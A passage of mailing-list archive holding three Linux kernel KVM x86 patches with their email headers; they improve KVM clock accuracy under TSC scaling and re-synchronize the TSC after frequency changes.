	+9IMMuufPcE5zLelaSObs9iAOAeyIeG/elt20owcrLirJmJgUffWNGcnvoe/0ZbxgnT2TsLPbGtL7
	nPCQmLDg==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 01/36] KVM: x86: Improve accuracy of KVM clock when TSC scaling is in force
Date: Tue, 28 Jul 2026 15:39:41 +0100
Message-ID: <20260728144954.355376-2-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-4011c0/1785250210-53CD3CFC-40409D68/0/0
X-purgate-type: clean
X-purgate-size: 4548

From: David Woodhouse <dwmw@amazon.co.uk>

The kvm_guest_time_update() function scales the host TSC frequency to
the guest's using kvm_scale_tsc() and the v->arch.l1_tsc_scaling_ratio
scaling ratio previously calculated for that vCPU. Then calculates the
scaling factors for the KVM clock itself based on that guest TSC
frequency.

However, it uses kHz as the unit when scaling, and then multiplies by
1000 only at the end.

With a host TSC frequency of 3000MHz and a guest set to 2500MHz, the
result of kvm_scale_tsc() will actually come out at 2,499,999kHz. So
the KVM clock advertised to the guest is based on a frequency of
2,499,999,000 Hz.

By using Hz as the unit from the beginning, the KVM clock would be based
on a more accurate frequency of 2,499,999,999 Hz in this example.

Use u64 for the hw_tsc_hz field since an unsigned int would overflow for
TSC frequencies above 4GHz. Use div_u64() for the Xen CPUID leaf to
play nice with 32-bit kernels.

Fixes: 78db6a503796 ("KVM: x86: rewrite handling of scaled TSC for kvmclock")
Reviewed-by: Paul Durrant <paul@xen.org>
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Tested-by: Dongli Zhang <dongli.zhang@oracle.com>
---
 arch/x86/include/asm/kvm_host.h |  2 +-
 arch/x86/kvm/cpuid.c            |  3 ++-
 arch/x86/kvm/x86.c              | 18 ++++++++++--------
 3 files changed, 13 insertions(+), 10 deletions(-)

diff --git a/arch/x86/include/asm/kvm_host.h b/arch/x86/include/asm/kvm_host.h
index 7a258831616f..bffce2167141 100644
--- a/arch/x86/include/asm/kvm_host.h
+++ b/arch/x86/include/asm/kvm_host.h
@@ -864,7 +864,7 @@ struct kvm_vcpu_arch {
 	gpa_t time;
 	s8  pvclock_tsc_shift;
 	u32 pvclock_tsc_mul;
-	unsigned int hw_tsc_khz;
+	u64 hw_tsc_hz;
 	struct gfn_to_pfn_cache pv_time;
 	/* set guest stopped flag in pvclock flags field */
 	bool pvclock_set_guest_stopped_request;
diff --git a/arch/x86/kvm/cpuid.c b/arch/x86/kvm/cpuid.c
index 9e9cf6538a96..7049f5a5597b 100644
--- a/arch/x86/kvm/cpuid.c
+++ b/arch/x86/kvm/cpuid.c
@@ -16,6 +16,7 @@
 #include <linux/vmalloc.h>
 #include <linux/uaccess.h>
 #include <linux/sched/stat.h>
+#include <linux/units.h>
 
 #include <asm/processor.h>
 #include <asm/user.h>
@@ -2146,7 +2147,7 @@ bool kvm_cpuid(struct kvm_vcpu *vcpu, u32 *eax, u32 *ebx,
 				*ecx = vcpu->arch.pvclock_tsc_mul;
 				*edx = vcpu->arch.pvclock_tsc_shift;
 			} else if (index == 2) {
-				*eax = vcpu->arch.hw_tsc_khz;
+				*eax = div_u64(vcpu->arch.hw_tsc_hz, HZ_PER_KHZ);
 			}
 		}
 	} else {
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 0f1a829032c0..f7e1031f8eb0 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -61,6 +61,7 @@
 #include <linux/mem_encrypt.h>
 #include <linux/suspend.h>
 #include <linux/smp.h>
+#include <linux/units.h>
 
 #include <trace/events/ipi.h>
 #include <trace/events/kvm.h>
@@ -1763,7 +1764,8 @@ static void kvm_setup_guest_pvclock(struct pvclock_vcpu_time_info *ref_hv_clock,
 int kvm_guest_time_update(struct kvm_vcpu *v)
 {
 	struct pvclock_vcpu_time_info hv_clock = {};
-	unsigned long flags, tgt_tsc_khz;
+	unsigned long flags;
+	u64 tgt_tsc_hz;
 	unsigned seq;
 	struct kvm_vcpu_arch *vcpu = &v->arch;
 	struct kvm_arch *ka = &v->kvm->arch;
@@ -1789,8 +1791,8 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
 
 	/* Keep irq disabled to prevent changes to the clock */
 	local_irq_save(flags);
-	tgt_tsc_khz = get_cpu_tsc_khz();
-	if (unlikely(tgt_tsc_khz == 0)) {
+	tgt_tsc_hz = (u64)get_cpu_tsc_khz() * HZ_PER_KHZ;
+	if (unlikely(tgt_tsc_hz == 0)) {
 		local_irq_restore(flags);
 		kvm_make_request(KVM_REQ_CLOCK_UPDATE, v);
 		return 1;
@@ -1825,16 +1827,16 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
 	/* With all the info we got, fill in the values */
 
 	if (kvm_caps.has_tsc_control) {
-		tgt_tsc_khz = kvm_scale_tsc(tgt_tsc_khz,
+		tgt_tsc_hz = kvm_scale_tsc(tgt_tsc_hz,
 					    v->arch.l1_tsc_scaling_ratio);
-		tgt_tsc_khz = tgt_tsc_khz ? : 1;
+		tgt_tsc_hz = tgt_tsc_hz ? : 1;
 	}
 
-	if (unlikely(vcpu->hw_tsc_khz != tgt_tsc_khz)) {
-		kvm_get_time_scale(NSEC_PER_SEC, tgt_tsc_khz * 1000LL,
+	if (unlikely(vcpu->hw_tsc_hz != tgt_tsc_hz)) {
+		kvm_get_time_scale(NSEC_PER_SEC, tgt_tsc_hz,
 				   &vcpu->pvclock_tsc_shift,
 				   &vcpu->pvclock_tsc_mul);
-		vcpu->hw_tsc_khz = tgt_tsc_khz;
+		vcpu->hw_tsc_hz = tgt_tsc_hz;
 	}
 
 	hv_clock.tsc_shift = vcpu->pvclock_tsc_shift;

base-commit: 271255273d5ff348fe29d89fe4712b2f7f7907c3
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374499.1621688 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8I-0005tD-1x; Tue, 28 Jul 2026 14:50:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374499.1621688; Tue, 28 Jul 2026 14:50:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8H-0005pp-L9; Tue, 28 Jul 2026 14:50:13 +0000
Received: by outflank-mailman (input) for mailman id 1374499;
 Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8C-00058C-IY
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8B-00Ehpw-OC; Tue, 28 Jul 2026 16:50:07 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c197-2eae-0a2a0a5409dd-0a2a4509d620-12
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:07 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19f-be1a-0a2a45090019-5a9b3222e786-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:07 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOk-0PS1; Tue, 28 Jul 2026 14:49:57 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYG-1d7k;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=+I3dInpptLqTW26MdB6BEu7uqX7SVYa01mQD7irMSeI=; b=XtKNCiknoJw9CdufrCRb6Qkxg3
	5JVjfUAy3Qvd53x8eFTkkhBvRaaX+/ve6hijfLYVVWfnXLXAsQcgZUKS9kPtBB4ZZ1HPC+DScHJBd
	JoNaHYZC0GhqXTHr/dwb3HaGAkCUD0CZb4I/sQN1hWpTYpk7e+KcuhK3PSxZklOg2kbk1FZNyhu9t
	fVtCKZQC94T7q/P7m4MdZXyVODtVPrBXB3VxmDGS+CBDjcVfRJWF3ykUFtNIe7dVFEdBTjDuB7UgA
	ArT0WakOTueOrz2XPs0FPni6KS+nptBZrwAlwanzw0p6jCF7IFSeBrjZ08H1s4LXwoy/MCcxBIQ4t
	Y1CvLU7g==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 09/36] KVM: x86: Use get_kvmclock() in kvm_get_wall_clock_epoch()
Date: Tue, 28 Jul 2026 15:39:49 +0100
Message-ID: <20260728144954.355376-10-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-bad1c0/1785250207-FD668034-CFDEC24A/0/0
X-purgate-type: clean
X-purgate-size: 3232

From: David Woodhouse <dwmw@amazon.co.uk>

Now that get_kvmclock() correctly handles TSC scaling and captures both
wallclock and kvmclock from the same TSC reading,
kvm_get_wall_clock_epoch() can simply call it instead of duplicating
the pvclock computation.

This eliminates the last instance of the "definition C" kvmclock
calculation â€” as described in commit 710b3a30f407 ("KVM: x86/xen: Do
not corrupt KVM clock in kvm_xen_shared_info_init()") â€” which computed
nanoseconds directly from the host TSC without accounting for guest
TSC scaling.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 59 +++++++---------------------------------------
 1 file changed, 9 insertions(+), 50 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index c00b1e19c3af..f7a9fb69e69d 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -1930,63 +1930,22 @@ int kvm_guest_time_update(struct kvm_vcpu *v)
  * wallclock and kvmclock times, and subtracting one from the other.
  *
  * Fall back to using their values at slightly different moments by
- * calling ktime_get_real_ns() and get_kvmclock_ns() separately.
+ * calling ktime_get_real_ns() and get_kvmclock() separately.
  */
 uint64_t kvm_get_wall_clock_epoch(struct kvm *kvm)
 {
-#ifdef CONFIG_X86_64
-	struct pvclock_vcpu_time_info hv_clock;
-	struct kvm_arch *ka = &kvm->arch;
-	unsigned long seq, local_tsc_khz;
-	struct timespec64 ts;
-	uint64_t host_tsc;
-
-	do {
-		seq = read_seqcount_begin(&ka->pvclock_sc);
-
-		local_tsc_khz = 0;
-		if (!ka->use_master_clock)
-			break;
-
-		/*
-		 * The TSC read and the call to get_cpu_tsc_khz() must happen
-		 * on the same CPU.
-		 */
-		get_cpu();
-
-		local_tsc_khz = get_cpu_tsc_khz();
-
-		if (local_tsc_khz &&
-		    !kvm_get_walltime_and_clockread(&ts, &host_tsc))
-			local_tsc_khz = 0; /* Fall back to old method */
-
-		put_cpu();
-
-		/*
-		 * These values must be snapshotted within the seqcount loop.
-		 * After that, it's just mathematics which can happen on any
-		 * CPU at any time.
-		 */
-		hv_clock.tsc_timestamp = ka->master_cycle_now;
-		hv_clock.system_time = ka->master_kernel_ns + ka->kvmclock_offset;
+	struct kvm_clock_data data;
 
-	} while (read_seqcount_retry(&ka->pvclock_sc, seq));
+	get_kvmclock(kvm, &data);
 
 	/*
-	 * If the conditions were right, and obtaining the wallclock+TSC was
-	 * successful, calculate the KVM clock at the corresponding time and
-	 * subtract one from the other to get the guest's epoch in nanoseconds
-	 * since 1970-01-01.
+	 * If get_kvmclock() captured both wallclock and kvmclock from the
+	 * same TSC reading, use them for a precise epoch calculation.
 	 */
-	if (local_tsc_khz) {
-		kvm_get_time_scale(NSEC_PER_SEC, local_tsc_khz * NSEC_PER_USEC,
-				   &hv_clock.tsc_shift,
-				   &hv_clock.tsc_to_system_mul);
-		return ts.tv_nsec + NSEC_PER_SEC * ts.tv_sec -
-			__pvclock_read_cycles(&hv_clock, host_tsc);
-	}
-#endif
-	return ktime_get_real_ns() - get_kvmclock_ns(kvm);
+	if (data.flags & KVM_CLOCK_REALTIME)
+		return data.realtime - data.clock;
+
+	return ktime_get_real_ns() - data.clock;
 }
 
 /*
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374492.1621667 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8G-0005Xw-Py; Tue, 28 Jul 2026 14:50:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374492.1621667; Tue, 28 Jul 2026 14:50:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8G-0005Wx-LE; Tue, 28 Jul 2026 14:50:12 +0000
Received: by outflank-mailman (input) for mailman id 1374492;
 Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8B-00052F-Ju
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8A-0039yS-T9; Tue, 28 Jul 2026 16:50:06 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c181-5cb7-0a2a0a5109dd-0a2a4501c902-36
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:06 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19c-5984-0a2a45010019-5a9b322291ba-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:05 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOu-17VB; Tue, 28 Jul 2026 14:49:58 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj80-00000001UZI-092q;
 Tue, 28 Jul 2026 15:49:56 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=Y/kXnXqoXWAwlPXvSAQg/Dr8WRfAw9Z9gfGyfdWRA9A=; b=WihKI3A4wFlL6/yozdtt+ZoGhM
	ubegBCtRDisQxeQckBvSfX0NdqVwYEzhNS7d3BsoFXJKU/7/R3lD1V4ia7lXXCfTkVKYHJNkLtMbT
	CQAWQr97L+wWoPqx/YHVAyhqU9ChkWJboU6eASXvi6gtNuYGUGEH1Jvo24uLRmGyP4WiBiTommmS7
	8Nffcgf1hQRD1mZUHCWEL/jIMcxw8z5EgT0oXUSbP8vzPQNG7PAtmCRlhhuZslEL+zMb2t7uUyM4e
	+mT1zr8BExOUf+bjqBeRY1pbtVDx8MzSvlnTN7qEeWCMYNTZXqGXTr6V/IQTfbZx74lcKW/sPKTIR
	hQ+mbBWw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v7 23/36] KVM: x86: Re-synchronize TSC after KVM_SET_TSC_KHZ
Date: Tue, 28 Jul 2026 15:40:03 +0100
Message-ID: <20260728144954.355376-24-dwmw2@infradead.org>
X-Mailer: git-send-email 2.55.0
In-Reply-To: <20260728144954.355376-1-dwmw2@infradead.org>
References: <20260728144954.355376-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-d62444/1785250205-BD341757-AB685FEC/0/0
X-purgate-type: clean
X-purgate-size: 2232

From: David Woodhouse <dwmw@amazon.co.uk>

KVM_SET_TSC_KHZ changes the vCPU's TSC scaling ratio but does not
update the VM-wide cur_tsc_scaling_ratio used by get_kvmclock().
This causes get_kvmclock() to use a stale (default 1:1) ratio when
computing the KVM clock, leading to drift between the host-side
kvmclock and what the guest observes.

Fix this by calling kvm_synchronize_tsc() after changing the TSC
frequency. This:
 - Updates cur_tsc_scaling_ratio (consumed by pvclock_update_vm_gtod_copy)
 - Ensures the TSC value is continuous across the frequency change
 - Triggers kvm_track_tsc_matching() for proper masterclock handling
 - Allows subsequent vCPUs to synchronize via the 1-second slop hack

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
---
 arch/x86/kvm/x86.c | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 06f968007f1a..3e8cc8daf848 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -212,7 +212,6 @@ module_param(mitigate_smt_rsb, bool, 0444);
 #ifdef CONFIG_X86_64
 static bool kvm_get_time_and_clockread(s64 *kernel_ns, u64 *tsc_timestamp);
 #endif
-
 #define KVM_SUPPORTED_XCR0     (XFEATURE_MASK_FP | XFEATURE_MASK_SSE \
 				| XFEATURE_MASK_YMM | XFEATURE_MASK_BNDREGS \
 				| XFEATURE_MASK_BNDCSR | XFEATURE_MASK_AVX512 \
@@ -1051,6 +1050,7 @@ static int kvm_set_tsc_khz(struct kvm_vcpu *vcpu, u32 user_tsc_khz)
 {
 	u32 thresh_lo, thresh_hi;
 	int use_scaling = 0;
+	u64 tsc;
 
 	/* tsc_khz can be zero if TSC calibration fails */
 	if (user_tsc_khz == 0) {
@@ -1078,7 +1078,17 @@ static int kvm_set_tsc_khz(struct kvm_vcpu *vcpu, u32 user_tsc_khz)
 			 user_tsc_khz, thresh_lo, thresh_hi);
 		use_scaling = 1;
 	}
-	return set_tsc_khz(vcpu, user_tsc_khz, use_scaling);
+	/*
+	 * Read the guest TSC before changing the ratio, so we can
+	 * re-synchronize to preserve continuity across the change.
+	 */
+	tsc = kvm_read_l1_tsc(vcpu, rdtsc());
+
+	if (set_tsc_khz(vcpu, user_tsc_khz, use_scaling))
+		return -1;
+
+	kvm_synchronize_tsc(vcpu, &tsc);
+	return 0;
 }
 
 static u64 compute_guest_tsc(struct kvm_vcpu *vcpu, s64 kernel_ns)
-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 14:50:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 14:50:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374497.1621654 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8G-0005IO-3a; Tue, 28 Jul 2026 14:50:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374497.1621654; Tue, 28 Jul 2026 14:50:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woj8F-0005Gb-VG; Tue, 28 Jul 2026 14:50:11 +0000
Received: by outflank-mailman (input) for mailman id 1374497;
 Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1woj8C-00058G-RQ
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:50:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woj8C-00BbE3-7s; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19e-e002-0a2a0a5209dd-0a2a45078960-12
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+a16dffe8eb885fac2cd9+8374+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a68c19f-b4ea-0a2a45070019-5a9b3222ccb6-3
 for <multiple-recipients>; Tue, 28 Jul 2026 16:50:08 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1woj80-0000000DUOt-0YGR; Tue, 28 Jul 2026 14:49:56 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.4 #2 (Red
 Hat Linux)) id 1woj7z-00000001UYn-3fCf;
 Tue, 28 Jul 2026 15:49:55 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
